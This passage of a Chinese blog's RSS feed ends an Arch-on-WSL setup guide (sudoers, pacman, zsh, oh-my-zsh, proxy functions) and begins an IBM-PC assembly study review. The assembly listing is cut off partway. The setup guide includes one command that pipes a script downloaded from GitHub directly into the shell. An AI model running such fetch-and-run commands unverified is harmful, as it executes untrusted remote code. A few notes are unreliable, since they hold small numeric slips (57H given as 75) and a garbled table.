class="built_in">export</span> EDITOR=vim;</span><br></pre></td></tr></tbody></table></figure><p>你也可以设置成自己喜欢的编辑器。</p><p>让用户可以执行 sudo 命令，这一步不能省略。使用如下系统自带命令修改 <code>sudoers</code> 文件。</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">visudo</span><br></pre></td></tr></tbody></table></figure><p>在里面添加这一行即可：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">artin ALL=(ALL) ALL</span><br></pre></td></tr></tbody></table></figure><p><img data-src="https://i.cat.ms/posts/install-arch-wsl/36b5901fa80f.png" alt="36b5901fa80f.png"></p><p>这里我只把自己的用户名写进去了，你也可以设置一个用户组的权限，然后将你的用户加入到该用户组。</p><h2 id="切换-WSL-默认用户">切换 WSL 默认用户<a class="header-anchor" href="#切换-WSL-默认用户"></a></h2><p>在 cmd 中打开你的安装目录：</p><p><img data-src="https://i.cat.ms/posts/install-arch-wsl/c8979e233688.png" alt="c8979e233688.png"></p><p>执行：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Arch.exe config --default-user artin</span><br></pre></td></tr></tbody></table></figure><h2 id="玩转-Arch-WSL">玩转 Arch WSL<a class="header-anchor" href="#玩转-Arch-WSL"></a></h2><p>然后就是一些我自己喜欢的配置啦。</p><h3 id="pacman-使用方法">pacman 使用方法<a class="header-anchor" href="#pacman-使用方法"></a></h3><blockquote><p>ArchLinux 必备命令记录 (manjaro) - weixin_42408100 的博客 - CSDN 博客<a href="https://blog.csdn.net/weixin_42408100/article/details/82526087">https://blog.csdn.net/weixin_42408100/article/details/82526087</a></p></blockquote><p>| 常用命令                   | 解释                                             || -------------------------- | ------------------------------------------------ | ---------------------- || pacman -Sy abc             | 和源同步后安装名为 abc 的包                      || pacman -S abc              | 从本地数据库中得到 abc 的信息，下载安装 abc 包   || pacman -Sf abc             | 强制安装包 abc                                   || pacman -Ss abc             | 搜索有关 abc 信息的包                            || pacman -Si abc             | 从数据库中搜索包 abc 的信息                      || pacman -Syu                | 同步源，并更新系统                               || pacman -Sy                 | 仅同步源                                         || pacman -R abc              | 删除 abc 包                                      || pacman -Rc abc             | 删除 abc 包和依赖 abc 的包                       || pacman -Rsn abc            | 移除包所有不需要的依赖包并删除其配置文件         || pacman -Sc                 | 清理 /var/cache/pacman/pkg 目录下的旧包           || pacman -Scc                | 清除所有下载的包和数据库                         || pacman -Sd abc             | 忽略依赖性问题，安装包 abc                       || pacman -Su --ignore foo    | 升级时不升级包 foo                               || pacman -Sg abc             | 查询 abc 这个包组包含的软件包                    || pacman -Q                  | 列出系统中所有的包                               || pacman -Q package          | 在本地包数据库搜索 (查询) 指定软件包               || pacman -Qi package         | 在本地包数据库搜索 (查询) 指定软件包并列出相关信息 || pacman -Q <code>               |</code> wc -l                                          | 统计当前系统中的包数量 || pacman -Qdt                | 找出孤立包                                       || pacman -Rs $(pacman -Qtdq) | 删除孤立软件包（递归的, 小心用)                   || pacman -U abc.pkg.tar.gz   | 安装下载的 abs 包，或新编译的本地 abc 包         || pacman-optimize &amp;&amp; sync    | 提高数据库访问速度                               |</p><h3 id="安装网络相关的工具">安装网络相关的工具<a class="header-anchor" href="#安装网络相关的工具"></a></h3><blockquote><p>参考 <a href="http://www.linuxdiyf.com/view_218403.html">http://www.linuxdiyf.com/view_218403.html</a>安装 archlinux 以后没有 ifconfig, route, nslookup 等命令</p></blockquote><ul><li>ifconfig、route 在 net-tools 中</li><li>nslookup、dig 在 dnsutils 中</li><li>ftp、telnet 等在 inetutils 中</li><li>ip 命令在 iproute2 中</li></ul><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S net-tools dnsutils inetutils iproute2</span><br></pre></td></tr></tbody></table></figure><h3 id="配置基本环境">配置基本环境<a class="header-anchor" href="#配置基本环境"></a></h3><p>安装 fakeroot、binutils 等打包基本工具</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S base-devel</span><br></pre></td></tr></tbody></table></figure><p>我这里会提示 <code>fakeroot</code> 被 ignore 了，因为 <code>/etc/pacman.conf</code> 里写了~</p><p>不输入数字的话默认会安装 <code>base-devel</code> 里的所有包。</p><h2 id="安装配置-zsh">安装配置 zsh<a class="header-anchor" href="#安装配置-zsh"></a></h2><h3 id="安装-zsh-和-oh-my-zsh">安装 zsh 和 oh-my-zsh<a class="header-anchor" href="#安装-zsh-和-oh-my-zsh"></a></h3><p><code>zsh</code> 又好看又好用又强大~</p><p>先将代理设置为我本地的代理链接，因为等下 <code>oh-my-zsh</code> 的脚本会从 <code>github</code> 下载东西，国内下的慢~</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> ALL_PROXY=<span class="string">"http://127.0.0.1:7890"</span></span><br><span class="line"><span class="built_in">export</span> all_proxy=<span class="string">"http://127.0.0.1:7890"</span></span><br></pre></td></tr></tbody></table></figure><p>先安装 <code>zsh</code>，再装 <code>oh-my-zsh</code>。</p><ul><li><a href="https://wiki.archlinux.org/index.php/Zsh_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)">Zsh (简体中文) - ArchWiki</a></li><li><a href="https://ohmyz.sh/">Oh My ZSH!</a></li><li><a href="http://zsh.sourceforge.net/">Zsh Web Pages</a></li></ul><p>在终端执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S zsh</span><br><span class="line">sh -c <span class="string">"<span class="subst">$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)</span>"</span></span><br></pre></td></tr></tbody></table></figure><h3 id="配置-alias">配置 alias<a class="header-anchor" href="#配置-alias"></a></h3><p>之后要经常修改 zsh，先配置几个方便、快捷的 alias。</p><p>编辑 <code>~/.zshrc</code>， <code>zsh</code> 的配置文件。</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim ~/.zshrc</span><br></pre></td></tr></tbody></table></figure><p>在文件的最后几行加上：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">alias</span> vizsh=<span class="string">"micro ~/.zshrc"</span></span><br><span class="line"><span class="built_in">alias</span> ohmyzsh=<span class="string">"micro ~/.oh-my-zsh"</span></span><br><span class="line"><span class="built_in">alias</span> rezsh=<span class="string">"source ~/.zshrc"</span></span><br></pre></td></tr></tbody></table></figure><p>这里的 <code>micro</code> 是我在用的编辑器：</p><p><a href="https://github.com/zyedidia/micro"><img data-src="https://gh-card.dev/repos/zyedidia/micro.svg" alt="zyedidia/micro"></a></p><p>你可以改成你喜欢的， whatever.</p><p>保存后要在终端里激活一下 zsh 的配置文件：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">source</span> ~/.zshrc</span><br></pre></td></tr></tbody></table></figure><p>即可~</p><h3 id="配置-PATH-变量">配置 PATH 变量<a class="header-anchor" href="#配置-PATH-变量"></a></h3><p>WSL 中的环境变量会来自 Windows 系统，所以如果你两边都装了 npm 或者 python，可能会引起各种报错…</p><p><img data-src="https://i.cat.ms/posts/install-arch-wsl/b8ea5455abef.png" alt="b8ea5455abef.png"></p><p>所以手动的精简一些环境变量，从上面这个图中拿下来一点就好啦。</p><p>编辑 <code>~/.zshrc</code>：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vizsh</span><br></pre></td></tr></tbody></table></figure><p>添加：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> PATH=<span class="string">"<span class="variable">$HOME</span>/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">"/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:<span class="variable">$PATH</span>"</span></span><br><span class="line"><span class="comment"># 添加 `c/WINDOWS/system32` 这些目录是为了支持在 `vscode` 的 `remote-wsl`。</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">"/mnt/c/WINDOWS/system32:/mnt/c/WINDOWS:/mnt/c/WINDOWS/System32/Wbem:/mnt/c/WINDOWS/System32/WindowsPowerShell/v1.0/:/mnt/c/WINDOWS/System32/OpenSSH/:<span class="variable">$PATH</span>"</span></span><br><span class="line"><span class="comment"># 为了使用 vscode 的 `code .`</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">"/mnt/c/Users/withw/AppData/Local/Programs/Microsoft VS Code/bin:<span class="variable">$PATH</span>"</span></span><br></pre></td></tr></tbody></table></figure><p>这里的都是我需要的，你可以根据自己的需要来判断用什么。</p><p><img data-src="https://i.cat.ms/posts/install-arch-wsl/2d667f7ba442.png" alt="2d667f7ba442.png"></p><h3 id="zsh-的其他的一些配置">zsh 的其他的一些配置<a class="header-anchor" href="#zsh-的其他的一些配置"></a></h3><p>配置 <code>oh-my-zsh</code> 的自带几个插件：</p><ul><li>自带插件列表：<a href="https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins">https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins</a></li><li> 插件 Wiki：<a href="https://github.com/robbyrussell/oh-my-zsh/wiki/Plugins">https://github.com/robbyrussell/oh-my-zsh/wiki/Plugins</a></li></ul><p>找到下面这一行，填入即可。</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">plugins=(git npm node <span class="built_in">history</span>)</span><br></pre></td></tr></tbody></table></figure><p>配置 zsh「不匹配通配符」：这个蛮有用的，比如想用 <code>find *.txt</code> 的时候。</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">setopt</span> no_nomatch</span><br></pre></td></tr></tbody></table></figure><p>设置几个顺手的函数：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="title">proxy</span></span> () {</span><br><span class="line">    <span class="built_in">export</span> ALL_PROXY=<span class="string">"http://127.0.0.1:7890"</span></span><br><span class="line">    <span class="built_in">export</span> all_proxy=<span class="string">"http://127.0.0.1:7890"</span></span><br><span class="line">    http --follow -b https://api.ip.sb/geoip</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">unpro</span></span> () {</span><br><span class="line">    <span class="built_in">unset</span> ALL_PROXY</span><br><span class="line">    <span class="built_in">unset</span> all_proxy</span><br><span class="line">    http --follow -b https://api.ip.sb/geoip</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参考自：</span></span><br><span class="line"><span class="comment"># 来源：Ubuntu「一键」设置代理 | Sukka's Blog</span></span><br><span class="line"><span class="comment"># 链接：https://blog.skk.moe/post/enable-proxy-on-ubuntu/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">ip_</span></span> () {</span><br><span class="line">    http --follow -b https://api.ip.sb/geoip</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">git-<span class="function"><span class="title">config</span></span>() {</span><br><span class="line">    <span class="built_in">echo</span> -n <span class="string">"Please input Git Username: "</span></span><br><span class="line">    <span class="built_in">read</span> username</span><br><span class="line">    <span class="built_in">echo</span> -n <span class="string">"Please input Git Email: "</span></span><br><span class="line">    <span class="built_in">read</span> email</span><br><span class="line">    <span class="built_in">echo</span> -n <span class="string">"Done!"</span></span><br><span class="line">    git config --global user.name <span class="string">"<span class="variable">${username}</span>"</span></span><br><span class="line">    git config --global user.email <span class="string">"<span class="variable">${email}</span>"</span></span><br><span class="line">}</span><br><span class="line"><span class="comment"># 参考自：</span></span><br><span class="line"><span class="comment"># 链接：https://github.com/SukkaW/dotfiles</span></span><br></pre></td></tr></tbody></table></figure><p>上面的脚本中的 <code>http</code> 命令来自 <a href="https://httpie.org/">httpie</a> 。<br>安装：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S httpie</span><br></pre></td></tr></tbody></table></figure><h2 id="在-VSCode-中使用-WSL">在 VSCode 中使用 WSL<a class="header-anchor" href="#在-VSCode-中使用-WSL"></a></h2><p>待补充</p><h2 id="更多优化配置">更多优化配置<a class="header-anchor" href="#更多优化配置"></a></h2><p>可参考知乎这篇：<a href="https://zhuanlan.zhihu.com/p/51270874#%E4%B8%89%E3%80%81%E4%BD%BF%E7%94%A8%E4%BC%98%E5%8C%96%E9%85%8D%E7%BD%AE">利用 WSL 打造 Arch 开发环境</a></p><p>大概就先写这么多吧~</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>IBM - PC 汇编语言程序设计复习</title>
      <link>https://cat.ms/posts/assembler-basic/</link>
      <description>
        <![CDATA[<p>期末复习汇编… 真的是好努力的复习…
实验老师让我们做的那几个实验，想想还觉得谢谢了~
谈一下输入输出、分支流程、基本指令，再谈一下做过的几个题目。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E6%B1%87%E7%BC%96/">汇编</category>
      <category domain="https://cat.ms/tags/%E6%B1%87%E7%BC%96/">汇编</category>
      <category domain="https://cat.ms/tags/%E5%A4%8D%E4%B9%A0/">复习</category>
      <pubDate>Sun, 16 Jun 2019 05:44:49 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>期末复习汇编… 真的是好努力的复习…实验老师让我们做的那几个实验，想想还觉得谢谢了~谈一下输入输出、分支流程、基本指令，再谈一下做过的几个题目。</p><span id="more"></span><h2 id="输入输出">输入输出<a class="header-anchor" href="#输入输出"></a></h2><h3 id="整数的-ASCII-码值转为数值">整数的 ASCII 码值转为数值<a class="header-anchor" href="#整数的-ASCII-码值转为数值"></a></h3><ul><li>0-9 30H-39H<br>可以减去 30H 或者 与上 1111 (15)</li><li>A-F 41H-46H<br>减去 37H (55)</li><li>a-z 61H-66H<br>减去 57H (75)</li></ul><h3 id="输入一位十六进制整数">输入一位十六进制整数<a class="header-anchor" href="#输入一位十六进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">IN_1_HEX:</span><br><span class="line">MOV AH, 01H</span><br><span class="line">INT 21H     ;输入的值存在AL里</span><br><span class="line">CMP AL, '9' ;输入的值在内存中都是以ASCII码的值表示</span><br><span class="line">JBE IN</span><br><span class="line">SUB AL, 07H</span><br><span class="line">IN:</span><br><span class="line">SUB AL, 30H</span><br></pre></td></tr></tbody></table></figure><h3 id="输入两位十六进制整数">输入两位十六进制整数<a class="header-anchor" href="#输入两位十六进制整数"></a></h3><p>两位十六进制表示的值最多是 <code>FF</code> ，也就是 255，用八位就可以存下。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">IN_2_HEX:</span><br><span class="line">CALL IN_1_HEX ;高位十六进制-&gt;AL</span><br><span class="line">MOV  AH, 10H</span><br><span class="line">MUL  AH</span><br><span class="line">MOV  AH, AL</span><br><span class="line">CALL IN_1_HEX ;低位十六进制-&gt;AL</span><br><span class="line">ADD  AL, AH</span><br></pre></td></tr></tbody></table></figure><h3 id="输入一位十进制整数">输入一位十进制整数<a class="header-anchor" href="#输入一位十进制整数"></a></h3><p>实际使用的时候记得要保护之前的数据，先 PUSH 再 POP</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">IN_1_DEC:</span><br><span class="line">MOV AH, 01H ;AL</span><br><span class="line">INT 21H</span><br><span class="line">SUB AL, 30H</span><br></pre></td></tr></tbody></table></figure><h3 id="输入两位十进制整数">输入两位十进制整数<a class="header-anchor" href="#输入两位十进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">IN_2_DEC:</span><br><span class="line">CALL IN_1_DEC</span><br><span class="line">MOV  AH, 10  ; 十六进制这里为10H</span><br><span class="line">MUL  AH</span><br><span class="line">MOV  AH, AL</span><br><span class="line">CALL IN_1_DEC</span><br><span class="line">ADD  AL, AH</span><br></pre></td></tr></tbody></table></figure><h3 id="输出一位十六进制整数">输出一位十六进制整数<a class="header-anchor" href="#输出一位十六进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">DISP_1_HEX:</span><br><span class="line">  CMP DL, 09H</span><br><span class="line">  JBE L1</span><br><span class="line">  ADD DL, 07H</span><br><span class="line">L1:</span><br><span class="line">  ADD DL, 30H</span><br><span class="line"></span><br><span class="line">  MOV AH, 02H</span><br><span class="line">  INT 21H</span><br></pre></td></tr></tbody></table></figure><h3 id="输出两位十六进制整数">输出两位十六进制整数<a class="header-anchor" href="#输出两位十六进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">DISP_2_HEX:</span><br><span class="line">  MOV AL, DL</span><br><span class="line">  MOV AH, 0</span><br><span class="line">  MOV DL, 10H</span><br><span class="line">  DIV DL        ; 除数是 8 位 AL 存商， AH 存余数</span><br><span class="line">  MOV DL, AL</span><br><span class="line">  CALL DISP_1_HEX</span><br><span class="line">  MOV DL, AH</span><br><span class="line">  CALL DISP_1_HEX</span><br></pre></td></tr></tbody></table></figure><h3 id="输出一位十进制整数">输出一位十进制整数<a class="header-anchor" href="#输出一位十进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">DISP_1_DEC:</span><br><span class="line">  PUSH AX</span><br><span class="line">  ADD DL,30H</span><br><span class="line">  MOV AH,02H</span><br><span class="line">  INT 21H</span><br><span class="line">  POP AX</span><br><span class="line">RET</span><br></pre></td></tr></tbody></table></figure><h3 id="输出两位十进制整数">输出两位十进制整数<a class="header-anchor" href="#输出两位十进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">DISP_2_DEC:    ; DL 除十取余法</span><br><span class="line">  PUSH AX</span><br><span class="line">  MOV AL,DL</span><br><span class="line">  MOV AH,0</span><br><span class="line">  MOV DL,10</span><br><span class="line">  DIV DL        ; 除数是 8 位 AL 存商， AH 存余数</span><br><span class="line">  MOV DL,AL</span><br><span class="line">  CALL DISP_1_DEC</span><br><span class="line">  MOV DL,AH</span><br><span class="line">  CALL DISP_1_DEC</span><br><span class="line">  POP AX</span><br><span class="line">RET</span><br></pre></td></tr></tbody></table></figure><h3 id="带符号位的输出多位十进制整数">带符号位的输出多位十进制整数<a class="header-anchor" href="#带符号位的输出多位十进制整数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">DISP:            ; 用十进制出AX中的数</span><br><span class="line">  PUSHF</span><br><span class="line">  PUSH DX</span><br><span class="line">  PUSH AX</span><br><span class="line">  PUSH BX</span><br><span class="line">  PUSH CX</span><br><span class="line"></span><br><span class="line">  MOV  CX, 0</span><br><span class="line">  MOV  BX, 10    ; 除 10 取余法</span><br><span class="line"></span><br><span class="line">  TEST AX, 8000H ; 检测AX首位是1还是0</span><br><span class="line">  JE   DISP1     ; 如果上一句的结果为0，就跳</span><br><span class="line">  CALL FF        ; 输出负号</span><br><span class="line">  NEG  AX        ; 取反+1</span><br><span class="line"></span><br><span class="line">DISP1:</span><br><span class="line">  MOV  DX, 0</span><br><span class="line">  DIV  BX        ;除数是 16 位 AX,商；DX,余数</span><br><span class="line">  PUSH DX</span><br><span class="line">  INC  CX</span><br><span class="line">  OR   AX, AX    ; 是否商完</span><br><span class="line">  JNE  DISP1     ; 没商完继续商</span><br><span class="line"></span><br><span class="line">DISP2:</span><br><span class="line">  POP  DX</span><br><span class="line">  ADD  DL, 30H   ; 以ascii码输出</span><br><span class="line">  MOV  AH, 02H</span><br><span class="line">  INT  21H</span><br><span class="line">  LOOP DISP2</span><br><span class="line"></span><br><span class="line">  POP  CX</span><br><span class="line">  POP  BX</span><br><span class="line">  POP  AX</span><br><span class="line">  POP  DX</span><br><span class="line">  POPF</span><br><span class="line">RET</span><br><span class="line">FF:</span><br><span class="line">  PUSH DX</span><br><span class="line">  PUSH AX</span><br><span class="line"></span><br><span class="line">  MOV  DL, '-'</span><br><span class="line">  MOV  AH, 02H</span><br><span class="line">  INT  21H</span><br><span class="line"></span><br><span class="line">  POP  AX</span><br><span class="line">  POP  DX</span><br><span class="line">RET</span><br></pre></td></tr></tbody></table></figure><h2 id="循环分支结构">循环分支结构<a class="header-anchor" href="#循环分支结构"></a></h2><h3 id="比较">比较<a class="header-anchor" href="#比较"></a></h3><p>最重要的就是 比较，</p><p><code>TEST</code>，<code>AND</code>，<code>CMP</code>，<code>SUB</code> 还有等等等等… 都可以拿来做比较。</p><h4 id="TEST-指令">TEST 指令<a class="header-anchor" href="#TEST-指令"></a></h4><p>指令格式：<code>TEST DST, SRC</code><code>TEST</code> 指令可以被用来检测某一位是否为 1，因为其本质就是与运算，也就是 <code>DST &amp; SRC</code>，但是不改变源操作数和目标操作数。</p><p>如 <code>00010000 &amp; X</code> 的结果就表示 X 的倒数第五位是否为 1，要是与出来为 0，就说明这一位为 0，否则为 1。</p><h4 id="CMP-指令">CMP 指令<a class="header-anchor" href="#CMP-指令"></a></h4><p>指令格式：<code>CMP DST, SRC</code></p><p>可以比较两个数的大小，本质就是减法运算，也就是 <code>DST - SRC</code>，但是不改变源操作数和目标操作数。</p><h3 id="跳转指令">跳转指令<a class="header-anchor" href="#跳转指令"></a></h3><p>这里的就是判断被比较的两个数的具体大小，然后决定执行哪一句。</p><p>C-style 的语言中是这样：</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (a &gt; b){</span><br><span class="line">  <span class="comment">// a &gt; b 的话执行这儿</span></span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">  <span class="comment">// a &lt;= b 的话执行这儿</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>汇编中呢，就是：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">  CMP AX, BX</span><br><span class="line">  JA AGB</span><br><span class="line">  # AX &lt;= BX 的话执行这儿</span><br><span class="line">AGB:</span><br><span class="line">  # AX &gt; BX 的话执行这儿</span><br></pre></td></tr></tbody></table></figure><p>上面的 <code>JA</code> 就是一个跳转指令，再详细的各种指令我就不说了，看书~下面稍微说几个记得牢的~</p><ul><li>JE 两个数相等</li><li>JNE 两个数不相等</li><li>JA 无符号 前者大于后者我是这样记得， A 就是两个比较的数里前面那个，B 就是两个比较的数里后面那个，所以 <code>JA</code> 就是前面的大。</li><li>JG 有符号比较，前者大于后者G 的意思就是 greater than</li><li>JB 无符号 前者小于后者</li><li>JL 有符号比较 前者小于后者L = less than</li><li>JAE 无符号大于等于</li><li>JGE 有符号大于等于</li><li>JBE 无符号小于等于</li><li>JLE 有符号小于等于</li></ul><h3 id="二进制转十六进制">二进制转十六进制<a class="header-anchor" href="#二进制转十六进制"></a></h3><p>我们都知道，一位十六进制可以表示四位二进制，所以要把二进制转为十六进制的画，得每四位每四位的转换。大概流程如下</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">digraph g {</span><br><span class="line">循环左移四位二进制</span><br><span class="line">-&gt; 取低四位</span><br><span class="line">-&gt; "低四位+30H"</span><br><span class="line">-&gt; 输出低四位;</span><br><span class="line"></span><br><span class="line">输出低四位 -&gt;循环左移四位二进制 [label="如果位数不为0"]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="控制转移指令">控制转移指令<a class="header-anchor" href="#控制转移指令"></a></h3><p>书上 P85</p><h2 id="题目">题目<a class="header-anchor" href="#题目"></a></h2><h3 id="输入二十位带符号十六进制数，排序后输出十进制最大数、最小数、次大数、次小数">输入二十位带符号十六进制数，排序后输出十进制最大数、最小数、次大数、次小数<a class="header-anchor" href="#输入二十位带符号十六进制数，排序后输出十进制最大数、最小数、次大数、次小数"></a></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span 